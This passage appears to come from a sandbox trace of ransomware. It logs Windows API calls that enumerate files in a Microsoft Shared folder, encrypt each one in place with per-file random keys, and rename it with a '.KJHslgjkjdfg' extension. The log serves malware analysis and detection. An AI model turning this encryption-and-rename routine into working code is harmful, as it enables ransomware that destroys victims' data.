Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.kjhslgjkjdfg")) returned 1 [0163.369] CloseHandle (hObject=0xf0) returned 1 [0163.369] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0163.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.370] GetProcessHeap () returned 0x990000 [0163.370] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0163.370] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0163.370] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0163.370] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0163.372] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0163.372] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.372] GetProcessHeap () returned 0x990000 [0163.372] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0163.372] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0163.372] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.372] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0163.373] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0163.373] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0163.373] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0163.373] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0163.373] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0163.373] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0163.373] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.373] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.373] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x566, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x566, lpOverlapped=0x0) returned 1 [0163.373] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x570, dwBufLen=0x570 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x570) returned 1 [0163.373] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.373] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x570, lpOverlapped=0x0) returned 1 [0163.373] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.373] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.374] SetEndOfFile (hFile=0xf0) returned 1 [0163.376] GetProcessHeap () returned 0x990000 [0163.376] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0163.376] GetProcessHeap () returned 0x990000 [0163.376] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0163.376] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.kjhslgjkjdfg")) returned 1 [0163.379] CloseHandle (hObject=0xf0) returned 1 [0163.379] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0163.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.381] GetProcessHeap () returned 0x990000 [0163.381] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0163.381] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0163.381] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0163.381] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0163.384] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0163.384] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.384] GetProcessHeap () returned 0x990000 [0163.384] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0163.384] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0163.384] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.384] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0163.384] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0163.384] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0163.384] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0163.384] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0163.384] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0163.384] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0163.385] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.385] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.385] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x11d78, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x11d78, lpOverlapped=0x0) returned 1 [0163.386] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x11d80, dwBufLen=0x11d80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x11d80) returned 1 [0163.387] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.387] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x11d80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x11d80, lpOverlapped=0x0) returned 1 [0163.387] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.387] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x11e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.387] SetEndOfFile (hFile=0xf0) returned 1 [0163.390] GetProcessHeap () returned 0x990000 [0163.390] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0163.390] GetProcessHeap () returned 0x990000 [0163.390] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0163.390] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.kjhslgjkjdfg")) returned 1 [0163.396] CloseHandle (hObject=0xf0) returned 1 [0163.396] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0163.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.396] GetProcessHeap () returned 0x990000 [0163.396] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0163.396] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0163.396] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0163.396] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0163.396] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.397] GetProcessHeap () returned 0x990000 [0163.397] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0163.397] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0163.397] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.397] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0163.415] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0163.415] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0163.415] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0163.416] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0163.416] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0163.416] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0163.416] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.416] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.416] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x49f80, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x49f80, lpOverlapped=0x0) returned 1 [0163.458] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x49f80, dwBufLen=0x49f80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x49f80) returned 1 [0163.462] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.462] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x49f80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x49f80, lpOverlapped=0x0) returned 1 [0163.463] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.463] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.463] SetEndOfFile (hFile=0xf0) returned 1 [0163.466] GetProcessHeap () returned 0x990000 [0163.466] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0163.466] GetProcessHeap () returned 0x990000 [0163.466] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0163.466] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.kjhslgjkjdfg")) returned 1 [0163.467] CloseHandle (hObject=0xf0) returned 1 [0163.467] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0163.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.472] GetProcessHeap () returned 0x990000 [0163.472] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0163.472] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0163.472] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0163.472] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0163.472] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.472] GetProcessHeap () returned 0x990000 [0163.472] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0163.472] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0163.472] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.472] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0163.474] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0163.474] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0163.475] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0163.475] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0163.475] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0163.475] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0163.475] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.475] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.475] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x44780, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x44780, lpOverlapped=0x0) returned 1 [0163.480] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x44780, dwBufLen=0x44780 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x44780) returned 1 [0163.483] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.483] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x44780, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x44780, lpOverlapped=0x0) returned 1 [0163.484] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.485] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x44854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.485] SetEndOfFile (hFile=0xf0) returned 1 [0163.487] GetProcessHeap () returned 0x990000 [0163.487] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0163.488] GetProcessHeap () returned 0x990000 [0163.488] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0163.488] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.kjhslgjkjdfg")) returned 1 [0163.488] CloseHandle (hObject=0xf0) returned 1 [0163.493] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0163.494] GetProcessHeap () returned 0x990000 [0163.494] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0163.494] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0163.494] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df0a8 | out: pbData=0x9af7b0, pdwDataLen=0x29df0a8) returned 1 [0163.494] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.494] GetProcessHeap () returned 0x990000 [0163.494] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0163.494] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0163.494] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df0a8 | out: pbData=0x9af7f8, pdwDataLen=0x29df0a8) returned 1 [0163.494] CryptDestroyKey 